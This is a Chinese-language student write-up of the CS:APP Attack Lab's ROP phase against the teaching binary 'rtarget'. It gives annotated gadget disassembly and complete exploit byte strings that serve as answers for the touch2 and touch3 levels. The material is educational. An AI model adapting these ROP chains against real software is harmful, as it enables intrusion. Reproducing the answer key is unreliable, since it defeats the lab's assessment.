这一部分要求我使用ROP的方法来攻击rtarget这个程序。rtarget增加了一些现代的保护手段,例如随机产生rsp的地址,这使得我无法预测每次run的时候栈帧的位置,从而不能像PART I level2中那样预测到rsp的位置注入exploit code。退一步说,就算我成功注入了,还有金丝雀保护机制(canary)来确定某些位置的值是否发生变化,以及直接规定某些存储区域是不可执行(inexectutable)的来防止我攻击。
ROP(return oriented programming)就是针对这种保护机制的攻击手段,它强调使用已经存在的代码来攻击,这样就避开了上述随机机制和不可执行机制的保护,而金丝雀保护机制在本题中应该没有保护到(不然我认为是可以发现我越界读写了的)。
本题规定了一个gadget farm,我需要做的就是把各小段附在ret命令前的命令地址全部写到getbuf的缓存区界外,让程序结束时跳入这些小段命令的集合。各个小段就是一个gadget,连接起来就能实现我要做的事情。
part ii 由两部分组成,分别要求重现part i中l2 和 l3的事情。
经过对farm的分析 有很多可用的gadgets
00000000004019a0 :
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # starting at 4019a2: mov %rax, %rdi (48 89 c7) -> retq (c3)
4019a6: c3 retq
00000000004019a7 :
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # starting at 4019ab: pop %rax (58) -> nop (90) -> retq (c3)
00000000004019c3 :
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) # starting at 4019c6: movl %eax, %edi (89 c7) -> nop (90) -> retq (c3)
4019c9: c3 retq
00000000004019db :
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax # starting at 4019dc: pop %rsp (5c) -> movl %eax, %edx (89 c2) -> nop (90) -> retq (c3)
4019e0: c3 retq
0000000000401a03 :
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax # starting at 401a06: mov %rsp, %rax (48 89 e0) -> retq (c3)
401a09: c3 retq # or starting at 401a07: movl %esp, %eax (89 e0) -> retq (c3)
0000000000401a11 :
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax # starting at 401a13: movl %ecx, %esi (89 ce) -> nop -> nop -> retq (c3)
401a17: c3 retq
0000000000401a25 :
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax # starting at 401a27: movl %ecx, %esi (89 ce) -> cmpb %al, %al (38 c0) -> retq (c3)
401a2b: c3 retq
0000000000401a33 :
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax # starting at 401a34: movl %edx %ecx (89 d1) -> cmpb %cl, %cl (38 c9) -> retq (c3)
401a38: c3 retq
0000000000401a39 :
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax # starting at 401a3c: movl %esp, %eax (89 e0) -> retq (c3)
401a3f: c3 retq
0000000000401a40 :
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax # starting at 401a42: movl %eax, %edx (89 c2) -> testb %al, %al (84 c0) -> retq (c3)
401a46: c3 retq
0000000000401a68 :
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax #starting at 401a69: movl %edx, %ecx (89 d1) -> orb %bl, %bl (08 db) -> retq (c3)
401a6d: c3 retq
上述只是简单整理,还有很多,不过这些足够用了。记得吗?第一关只需要我们把rdi赋成cookie的值。
只需要2个gadgets就够了:第一个将pop rax,这个gadget后面紧跟我们的cookie,这样就把rax赋成cookie
然后一个gadget把rax赋值给rdi
这个gadget后面自然跟着touch2的地址啦
找到上述gadget的地址,按照little-endian写好,在这之前加上40个padding就是答案:
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
第二关稍难,要求我们把rdi指向一个cookie的字符串表示,看到有个gadget是 lea (%rdi, %rsi, 1)
并且总结一下发现存在rsp->rax->rdi 和 rax->rsi的赋值链条,加上又pop rax的命令,就能想到,可以让rsp赋值给rax,然后这个值加上某个偏移量从而指向我们的cookie。
简单思路:
(padding*40)
mov %rsp, %rax
mov %rax, %rdi (这样rdi就存有rsp的最初值了)
pop %rax
0x48 (这个值是偏移量pop给rax,考虑到最后用了8条指令加上一条touch3的地址,我们的cookie存在8*9=72bytes后面)
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi, %rsi, 1) %rax
mov %rax, %rdi
4018fa (touch3的地址)
cookie的字符串
00(字符串结尾)
答案:
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00